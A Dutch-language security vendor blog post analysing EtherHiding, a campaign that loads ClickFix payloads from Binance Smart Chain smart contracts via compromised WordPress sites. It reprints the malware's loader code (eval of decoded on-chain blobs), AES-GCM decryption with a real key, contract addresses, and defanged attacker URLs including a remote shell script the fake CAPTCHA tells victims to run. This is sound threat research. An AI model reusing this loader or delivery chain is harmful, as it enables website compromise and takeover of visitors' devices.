Skip to main content
Blog
Attacks Blog

De Blockchain Is Niet Je Vriend: EtherHiding en het gebruik van Blockchain voor aanvallen onder de loep

In maart/april 2025 circuleerde een ClickFix-variant die de Binance-blockchain met smart contracts gebruikte om malware-payloads te beheren die via een gehackte WordPress-plugin werden afgeleverd.

Sep 02, 2025 Bijgewerkt Jul 20, 2026 9 min read
Banner over EtherHiding en Blockchain voor aanvallen
Inhoudsopgave

Kort samengevat: ClickFix-payload via smart contracts op Binance Smart Chain

  • Geen host om af te sluiten: Takedowns zijn de favoriete metric van de sector. EtherHiding stuurt die metric met pensioen. Als de payload in een Binance Smart Chain smart contract leeft, is er geen host om te melden, geen registrar om onder druk te zetten, geen server om uit te trekken.
  • Payload leeft on-chain: Het Orchid-contract op 0x8FBA1667BEF5EdA433928b220886A830488549BD leverde vijf Base64+gzip-payloads via getter-functies op naar schatting 19.800 gecompromitteerde websites, eindigend in een ClickFix-terminalcommando dat AES-decrypted werd on the fly. cside monitort wat de browser echt uitvoert in runtime, dus on-chain payloads zijn zichtbaar zodra ze renderen.
  • Runtime is het checkpoint: Als je verdedigingsstrategie leunt op domein-takedowns en reputatielijsten, laat die aanname dit kwartaal los. Aanvallers verhuisden naar onveranderbare, gedecentraliseerde hosting, en je enige overgebleven checkpoint is de runtime in de browser van de gebruiker.

Weinig tijd? Bekijk cside's in-browser Magecart- en skimmerblokkering. Dit dekt alles hieronder in één deployment.

Minder dan twee weken geleden kwam een van de vele slapende smart contracts op de Binance Smart Chain plotseling weer tot leven. De aanvaller werkte de contractvariabelen bij, heractiveerde de payloads, en de aanval is nu mogelijk actief op meer dan 19.800 gecompromitteerde websites.

De aanval staat bekend als EtherHiding en maakt voornamelijk gebruik van blockchain smart contracts om dynamische ClickFix-achtige captcha-payloads aan slachtoffers te leveren. We schreven eerder over ClickFix-aanvallen gericht op macOS, terug in februari, maar zoals bij alle aanvallen het geval is, is de aflevermethode sindsdien veranderd. Deze groeiende categorie client-side bedreigingen is steeds moeilijker te detecteren, laat staan te mitigeren.

Wij zijn cside, en wij monitoren client-side aanvallen via JavaScript van derden. In Q1 van 2025 alleen al observeerden we meer dan 300.000 gecompromitteerde websites.

Waarom Binance Smart Chain?

Binance Smart Chain (BSC) is een blockchainplatform dat is gebouwd om applicaties op basis van smart contracts uit te voeren voor cryptocurrency-gebruikers. Anders dan traditionele chains zoals Ethereum legt BSC de nadruk op lage transactiekosten en een hoge doorvoer, wat het aantrekkelijk maakt voor zowel ontwikkelaars van gedecentraliseerde financiën als kwaadwillenden.

Met behulp van deze smart contracts kan een aanvaller kwaadaardige payloads on-chain opslaan, wat een aantal voordelen biedt ten opzichte van traditionele cloudinfrastructuur:

  • Onveranderlijke hosting (want eenmaal op de blockchain bestaat het voor altijd)
  • Gedecentraliseerde opslag zonder mogelijkheid tot verwijdering
  • Real-time updates via contractfuncties

In deze EtherHiding-campagne worden getter- en setter-functies binnen deze contracts gebruikt om JavaScript-payloads te leveren die zich aanpassen aan de omgeving van het slachtoffer. Ze worden in de browser ontsleuteld en gedecomprimeerd, en vervolgens uitgevoerd.

De aanvalsketen analyseren

De aanval begint met geïnjecteerde kwetsbare code in de <head>-tag van een website, voornamelijk op WordPress-installaties. Onze analyse wijst op kwetsbare plugins als de vermoedelijke toegangsvector. Zodra de kwaadaardige code in de site is ingevoegd, start een meerfasige aanval die zijn volgende stappen rechtstreeks van de blockchain haalt.

Diagram van het verloop van de EtherHiding-aanval die begint met code die in de head van de pagina wordt geïnjecteerd

Stap 1: Initiële compromittering & opzet

Het eerste contactpunt van dit kwaadaardige script is een Web3-verbinding met de Binance Smart Chain, niet een door de aanvaller beheerde server. Het script maakt contact met het smart contract op adres 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53 en start de aanval door verdere instructies op te vragen bij dit contract.

De teruggegeven contract-ABI (Application Binary Interface, een lijst met instructies in het contract) en de bijbehorende informatie zijn beide Base64-gecodeerd en gzip-gecomprimeerd. Het script moet ze decomprimeren met de bibliotheek pako (een JavaScript-port van de zlib-compressiebibliotheek) voordat ze kunnen worden geparseerd en gebruikt.


const web3 = new Web3("https://bsc-dataseed.binance[.]org/");
const contract = new web3.eth.Contract([...], "0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53");

  

const orchidABI = await contract.methods.orchidABI().call();
const orchidAddress = await contract.methods.orchidAddress().call();
const orchid = new web3.eth.Contract(JSON.parse(orchidABI), orchidAddress);

  

Na het tot stand brengen van contact roept het script een blockchainfunctie aan om het volgende smart contract-adres terug te geven, gelegen op 0x8FBA1667BEF5EdA433928b220886A830488549BD.

Stap 2: Multi-payload loader via tokyoSkytree

Het contract **0x8FBA1667BEF5EdA433928b220886A830488549BD**, intern het Orchid-contract genoemd, is het belangrijkste contract in de aanvalsketen.

Dit contract bevat vijf essentiële functies die bepalen wat er vervolgens in de aanval gebeurt:

  • tokyoSkytree
  • akihabaraLights
  • asakusaTemple
  • ginzaLuxury
  • shibuyaCrossing

De kern van de aanval wordt gestart door de functie **tokyoSkytree**, die fungeert als een op afstand bestuurbare loader en orkestrator voor de volledige payload. Het voert de andere vier smart contract-functies één voor één uit, waarbij elke functie een gecomprimeerde en Base64-gecodeerde JavaScript-blob teruggeeft om de responses verder te verhullen.


(async () => {
  if (!checkCookie('not-robot')) {
    await teaCeremony(await orchid.methods.shibuyaCrossing().call(), 2);
    await teaCeremony(await orchid.methods.akihabaraLights().call(), 3);
    await teaCeremony(await orchid.methods.ginzaLuxury().call(), 4);
    await teaCeremony(await orchid.methods.asakusaTemple().call(), 5);
    setCookie('not-robot', 30);
  }
})();

  

Elk van deze smart contract-functies geeft een payload terug die wordt gedecodeerd en dynamisch uitgevoerd via de functie **teaCeremony**:


const teaCeremony = async (encodedScroll, templeNumber) => {
  const cherryBlossoms = atob(encodedScroll);
  const calligraphy = Uint8Array.from(cherryBlossoms, c => c.charCodeAt(0));
  const haiku = pako.ungzip(calligraphy, { to: "string" }).trim();
  await eval(`(async () => { ${haiku} })()`);
};

  

Deze (vereenvoudigde) pipeline decodeert de Base64-string, decomprimeert deze met gzip en voert het resultaat uit via de eval-functie. Dit ontwerp maakt de aanvalscampagne zowel modulair als wendbaar, omdat de on-chain opgeslagen payloads razendsnel kunnen worden vervangen.

Stap 3: Het slachtoffer profileren

shibuyaCrossing - Bepaal het besturingssysteem


const summonSpiritOfPlatform = () => {
  const { userAgent, platform } = navigator;
  if (/Win/i.test(platform)) return "Windows";
  if (/Mac/i.test(platform)) return "MacOS";
  if (/Linux/i.test(platform)) return /Android/.test(userAgent) ? "Android" : "Linux";
  return "Unknown";
};

  

akihabaraLights - Bepaal de browser


const summonSpiritOfBrowser = () => {
  const { userAgent } = navigator;
  if (/Chrome/i.test(userAgent)) return "Chrome";
  if (/Firefox/i.test(userAgent)) return "Firefox";
  if (/Safari/i.test(userAgent) && !/Chrome/i.test(userAgent)) return "Safari";
  return "Unknown";
};

  

De twee functies shibuyaCrossing en akihabaraLights worden gebruikt om de omgeving van het slachtoffer te profileren via informatie over het besturingssysteem en de browser. Deze informatie wordt later gebruikt om een specifieke versie van de aanval te serveren op basis van de gebruikte browser of het gebruikte besturingssysteem.

Stap 4: Ontsleuteling en payload-injectie

Na het profileren van de gebruikersomgeving maakt **ginzaLuxury** contact met een derde en laatste smart contract (gelegen op 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA, het Jade-contract genaamd) dat opnieuw meer functies laadt.

Opvallend: **getRandomSkylineByBrowserAndPlatform**.

Deze functie geeft, na het doorgeven van de eerder bepaalde browser- en besturingssysteemvariabelen, een URL terug om de versleutelde HTML op te halen die moet worden weergegeven. Na het downloaden van deze payload en het ontsleutelen ervan met de functie **pearlTower**, die een AES-GCM-ontsleutelingssleutel bevat, wordt de aanval uiteindelijk geïnjecteerd in een fullscreen iframe-tag die het scherm van het slachtoffer overdekt.


const cherryBlossomHTML = await (await fetch(skylineUrl)).text();
const sakuraKey = await JadeContract.methods.pearlTower().call();
const decryptedHTML = await decryptScrollToText(cherryBlossomHTML, sakuraKey);

const iframe = document.createElement("iframe");
iframe.srcdoc = decryptedHTML;
iframe.style = "position: fixed; width: 100%; height: 100%; z-index: 2147483647;";
document.body.appendChild(iframe);

  

Op basis van ons onderzoek is de enige momenteel actieve URL **https://yie-cpj[.]pages[.]dev/mac**, met een actieve payload voor Firefox-, Google Chrome- en Safari-gebruikers op macOS.

Stap 5: De versleutelde HTML analyseren

Om de laatste fase van deze aanval te valideren, hebben we de versleutelde HTML gedecodeerd en geanalyseerd die wordt gehost op **https://yie-cpj[.]pages[.]dev/mac**. Met behulp van een script dat tijdens het onderzoek is ontwikkeld, konden we de blockchain-transacties verzamelen, elke naar het contract gestuurde payload decoderen en de laatste geldige ontsleutelingssleutel bepalen.

De sleutel **5AcwjGp22pUrT92hKNrO7f7bsbZJPz2PpWYwnP0Muhs=** kan worden gebruikt om de HTML-payload te ontsleutelen met de ontsleutelingsfunctie **decryptScrollToText**:


async function decryptScrollToText(encryptedBase64, keyBase64) {
   const key = Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0));
   console.log(key);
   const combinedData = Uint8Array.from(atob(encryptedBase64), c => c.charCodeAt(0));
   const iv = combinedData.slice(0, 12);
   const encryptedData = combinedData.slice(12);
   const cryptoKey = await crypto.subtle.importKey(
       "raw", key, "AES-GCM", false, ["decrypt"]
   );
   const decryptedArrayBuffer = await crypto.subtle.decrypt(
       { name: "AES-GCM", iv },
       cryptoKey,
       encryptedData
   );
   return new TextDecoder().decode(decryptedArrayBuffer);
}

  

De resulterende HTML is een ClickFix-achtige phishing-payload die is ontworpen om eruit te zien als een reCAPTCHA-verificatiepagina. In plaats van de gebruiker te valideren via afbeeldingen, instrueert het een slachtoffer om:

  1. De macOS-terminal te openen
  2. Een Base64-gecodeerde opdracht te plakken en uit te voeren die dynamisch wordt opgehaald via de **jadeCode()**-functie on-chain
Nep-verificatiepagina die gebruikers vraagt een Base64-gecodeerde opdracht te plakken en uit te voeren

De terminalopdracht die aan gebruikers wordt getoond, gebruikt Base64 om de payload-URL te verhullen: https://kimbeech[.]cfd/cap/verify.sh.

Hoewel de URL ten tijde van de analyse inactief was en het **verify[.]sh**-script niet kon worden opgehaald voor verder onderzoek, laten de structuur en de aflevermethode geen twijfel bestaan over de werkelijke bedoeling van de aanvaller.

Door een slachtoffer te instrueren een via het klembord geïnjecteerde opdracht in de terminal uit te voeren, probeert de aanvaller een extern Bash-script uit te voeren onder het mom van een vertrouwd CAPTCHA-verificatieproces. Dit is een kenmerkend element van de ClickFix social engineering-techniek en vormt een ernstig risico op volledige compromittering van het apparaat.

Waarom client-side beveiliging belangrijker is dan ooit

Aanvallen zoals EtherHiding laten zien hoe ver client-side bedreigingen zich hebben ontwikkeld. Ze zijn modulair, verhuld, en worden steeds vaker afgeleverd via gedecentraliseerde infrastructuur die niet kan worden uitgeschakeld.

Omdat de payload in de browser leeft en reageert op basis van de omgeving van de gebruiker, kunnen deze aanvallen onder de radar blijven van traditionele server-side beveiligingen. Ze hoeven de server zelf niet eens te misbruiken. Het enige wat ze nodig hebben, is dat het slachtoffer de pagina laadt.

Deze bedreigingen voorblijven betekent dat je zowel je eigen code monitort als wat je browser daadwerkelijk uitvoert: scripts van derden, geïnjecteerde assets en gedrag dat in real time kan muteren. Naarmate het client-side aanvalsoppervlak complexer wordt, moet ook de verdediging die dit moet opvangen meegroeien.

Woordenlijst

Naam

Contractadres

Doel

Loader

0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53

Initieel contract dat de orchid-ABI en het adres levert

Orchid

0x8FBA1667BEF5EdA433928b220886A830488549BD

Hoofduitvoeringslogica die Base64 + gzip JavaScript levert

Jade

0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA

Slaat versleutelde payload-URL's en AES-GCM-sleutels op

URL

Gedrag

https://yie-cpj[.]pages[.]dev/mac

Fullscreen CAPTCHA-phishing overlay (gericht op macOS)

https://hfdjmoedkjf[.]asia/

Telemetrie-eindpunt voor het loggen van user-agent-strings

https://kimbeech[.]cfd/

URL van extern shellscript (momenteel inactief)

https://orange-service[.]xyz

Telemetrie-eindpunt op de aanvalspagina, ook gebruikt voor het rapporteren van user-agent-strings

Contract

Functie

Rol in de aanval

Orchid

tokyoSkytree()

Toegangspunt dat andere contractfuncties laadt en uitvoert

Orchid

shibuyaCrossing()

Geeft script voor detectie van het besturingssysteem terug

Orchid

akihabaraLights()

Geeft script voor browserdetectie terug

Orchid

ginzaLuxury()

Laadt het Jade-contract en activeert ook de ontsleuteling en weergave

Orchid

asakusaTemple()

Stuurt telemetriegegevens terug naar de aanvaller

Jade 

getRandomSkylineByBrowserAndPlatform()

Geeft AES-GCM-ontsleutelingssleutel terug voor HTML-popup-payloads

Jade

pearlTower()

Geeft alle payload-koppelingen met URL's bloot

Jade

getAllSkylines()

Stelt de aanvaller in staat de ontsleutelingssleutel te wijzigen (bijv. encryptie rouleren)

Jade

setPearlTower()


Stelt de aanvaller in staat payload-URL's te wisselen voor meerdere platforms

Jack LaFond
Security Researcher

I'm a security engineer + security researcher at cside.

Monitor en beveilig je third-party scripts

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Start gratis, of probeer Business met een proefperiode van 14 dagen.

cside-dashboardinterface met scriptmonitoring en beveiligingsanalyses
Related Articles
Boek een demo

Wil je dit doornemen met een engineer?

Dertig minuten, op je eigen site. Geen slides.

Boek een persoonlijke demo om te zien:

Hoe je in 1 dag voldoet aan PCI DSS-vereisten 6.4.3 en 11.6.1
Waarom scripts van derden een beveiligingsrisico zijn voor jou en je bezoekers
Hoe je privacy- en toestemmingslekken (AVG, CCPA) bij elke derde partij monitort
Hoe je misbruik van aanmeldingen, account sharing en chargeback-fraude stopt met device intelligence
Hoe je AI-agents en bots die je site bereiken in realtime detecteert en beheerst

Liever gewoon een vraag stellen?

Vrije momenten zoeken…

Alleen echte mensen. Wij merken het.

Lukt het boeken niet? Agenda in een nieuw tabblad openen

Wat wil je oplossen?

Vertel het ons in één zin, dan komen we terug met iets bruikbaars in plaats van een standaardverhaal.

Waar we meestal mee helpen:

Zien welke scripts van derden op je site draaien
Bewijs voor PCI DSS 6.4.3 en 11.6.1
Bots, AI-agents en accountovername

Liever meteen een moment inplannen? Kies een tijdstip